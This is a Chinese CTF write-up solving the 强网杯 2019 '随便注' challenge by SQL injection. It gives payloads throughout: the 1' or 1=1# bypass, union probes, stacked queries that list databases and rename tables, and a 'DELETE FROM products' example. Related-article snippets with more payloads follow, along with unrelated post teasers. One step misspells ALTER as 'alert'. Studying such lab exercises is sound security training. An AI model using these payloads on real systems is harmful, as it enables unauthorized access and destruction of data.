输入万能密码1' or 1=1# ,判断存在sql注入,

SQL注入的万能密码实际上是利用了网址后台的漏洞,打开下面的网址不用密码和账号也可以登录后台。

万能密码原理:

万能密码能够绕过sql检测,在sql数据库中,运算符也是有优先级的,=优先于and,and优先于or,简单来说1=‘1’恒成立,因此返回值永远为True,且在SQL语法中 # 是注释符,所以后面的语句都会被注释掉。

我们尝试输入1,2,3,到3报错,说明字段数只有2个

尝试联合注入union,

判断显示位:

判断语句:
1' union select 1,2-- -
一直判断到报错

输入1′ union select 1,2 # 回显一个正则过滤规则

由回显的信息得出 select被过滤,无法联合注入

拓展:

PHP 中的 preg_match() 函数可以根据正则表达式对字符串进行搜索匹配,函数的语法格式如下:

preg_match($pattern,$subject [, &$matches [, $flags = 0 [, $offset = 0 ]]])

preg_match() 函数可以返回 $pattern 的匹配次数,它的值将是 0 次(不匹配)或 1 次,因为 preg_match() 在第一次匹配后将会停止搜索。

尝试堆叠注入,查询数据库

堆叠注入原理:

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在分号(;)结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。
用户输入:1; DELETE FROM products
服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products
当执行查询后,第一条显示查询信息,第二条则将整个表进行删除

输入1';show databases;# ,成功回显 ,说明存在堆叠注入。

接下来查询表名:

成功回显,得到两个表 :words和1919810931114514

查询表中字段:输入1'; show columns from words; #

表名为数字时,要用反引号包起来查询。

看到了flag,如何回显flag呢?

1,通过 rename 先把 words 表改名为其他的表名(word)。

2,把 1919810931114514 表的名字改为 words 。

3,将 flag列 改名为 id

(4,或者将flag列改名为data)
如下:

1,1';rename table words to word;
2,rename table `1919810931114514` to words;
3, alert table words change flag id varchar (100);#

(4,alter table `words` add id int(10);alter table `words` change flag data varchar(20);#)
5,最后输入1’ or 1=1 # 查看所有内容

(我试了试字符用不用反引号好像都行),大家看自己的情况吧!最好加上,免得出错)

【BUUCTF】强网杯 2019随便注1 write up的更多相关文章

  1. buuctf | [强网杯 2019]随便注

    1' and '0,1' and '1  : 单引号闭合 1' order by 3--+ : 猜字段 1' union select 1,database()# :开始注入,发现正则过滤 1' an ...

  2. BUUCTF[强网杯 2019]随便注(堆叠注入)

    记一道堆叠注入的题.也是刷BUU的第一道题. ?inject=1' 报错 ?inject=1'--+ //正常 存在注入的.正常查询字段数,字段数为2.在联合查询的时候给了新提示 ?inject=0' ...

  3. [BUUOJ记录] [强网杯 2019]随便注(三种方法)

    本题主要考察堆叠注入,算是比较经典的一道题,在i春秋GYCTF中也出现了本题的升级版 猜测这里的MySQL语句结构应该是: select * from words where id='$inject' ...

  4. 强网杯 2019]随便注(堆叠注入,Prepare、execute、deallocate)

    然后就是今天学的新东西了,堆叠注入. 1';show databases; # 1';show tables; # 发现两个表1919810931114514.words 依次查询两张表的字段 1'; ...

  5. 刷题记录:[强网杯 2019]Upload

    目录 刷题记录:[强网杯 2019]Upload 一.知识点 1.源码泄露 2.php反序列化 刷题记录:[强网杯 2019]Upload 题目复现链接:https://buuoj.cn/challe ...

  6. WriteUp_easy_sql_堆叠注入_强网杯2019

    题目描述 随便注 解题过程 查看源码,发现应该不适合sqlmap自动化注入,该题应该是让你手工注入: <!-- sqlmap是没有灵魂的 --> <form method=" ...

  7. [原题复现]2019强网杯WEB-随便注(多种方法)

    简介 原题复现:https://gitee.com/xiaohua1998/qwb_2019_supersqli  考察知识点:SQL注入漏洞-堆叠注入  线上平台:https://buuoj.cn( ...

  8. [强网杯2019]upload buuoj

    提示:重点在这,可节省大部分时间 扫描后台 发现www.tar.gz备份文件. 这平台有429[太多请求限制]防护.dirsearch扫描一堆429.于是用了最笨的方法. 文件上传 先注册个账号 注册 ...

  9. [强网杯 2019]Upload

    0x00 知识点 代码审计,PHP 反序列化. 0x01 解题 先注册一个账号,再登陆 上传 简单测试一下: 只能上传能被正常查看的 png. F12看到文件上传路径 扫扫敏感文件 存在:/www.t ...

  10. [原题复现]强网杯 2019 WEB高明的黑客

    简介  原题复现:  考察知识点:python代码编写能力...  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 简 ...

随机推荐

  1. 拉取docker容器后启动容器的脚本

    我暂且不论如何拉取docker镜像.我使用sudo docker images查看拉取的镜像. 譬如我拉取nvidia的pytorch镜像后,想要创建一个实例或启动某实例,可使用如下脚本(如果本地没有 ...

  2. Stream操作

    public static void main(String[] args) { List<Parking> parkings = Arrays.asList(Parking.builde ...

  3. *args、**kwargs参数组

    '''def test(*args): # *agrs接收的是N个位置参数,不能接受关键字参数,转化成元祖 print(args)test(1,2,3,4,5,6)test(*[1,2,4,5,5]) ...

  4. 关于webdriver和谷歌浏览器的那些事

    早上看了一个视频,讲述爬虫的,首先一开始就写了一行这样代码(如下): from selenium import webdriver # 创建浏览器对象 ,这会在电脑中打开浏览器窗口browser = ...

  5. oracle-11.2.0.4静默安装----RedHat7.5

    1.配置/etc/hosts文件和关闭seliux和firewall防火墙 编辑/etc/hosts文件 [root@henry ~]# vim /etc/hosts [root@henry ~]# ...

  6. springboot 整合内存缓存Caffeine

    springboot 整合内存缓存Caffeine 1.引jar包 <dependency> <groupId>org.springframework.boot</gro ...

  7. sqlsever中使用的 select top n在mysql 语句中如何更改

    string sqlSelect = "select top(3) ROW_NUMBER() over(order by UserTime) as Num,* from " + & ...

  8. 网页元素间距测量(better rule插件的使用)

    我们在测试UI界面的时候,需要测量各元素大小及元素之间的距离.元素大小,使用F12可以简易的得到数据,但是元素的间距相对来说会比较复杂.这里推荐一款chrome插件better rule,帮助大家测量 ...

  9. springboot 日志处理

    引言 springboot框架集成logback日志 logback是由log4j创始人设计的又一个开源日志组件.目前,logback分为三个模块:logback-core,logback-class ...

  10. Ubuntu-18.04.1-live-server-amd64.iso安装全过程

    以下向你介绍安装Ubuntu-18.04.1-live-server-amd64.iso版本的全过程,同时要说明的是Ubuntu 18.04.1 server版本只能通过文本的方式安装,即它没有和Ub ...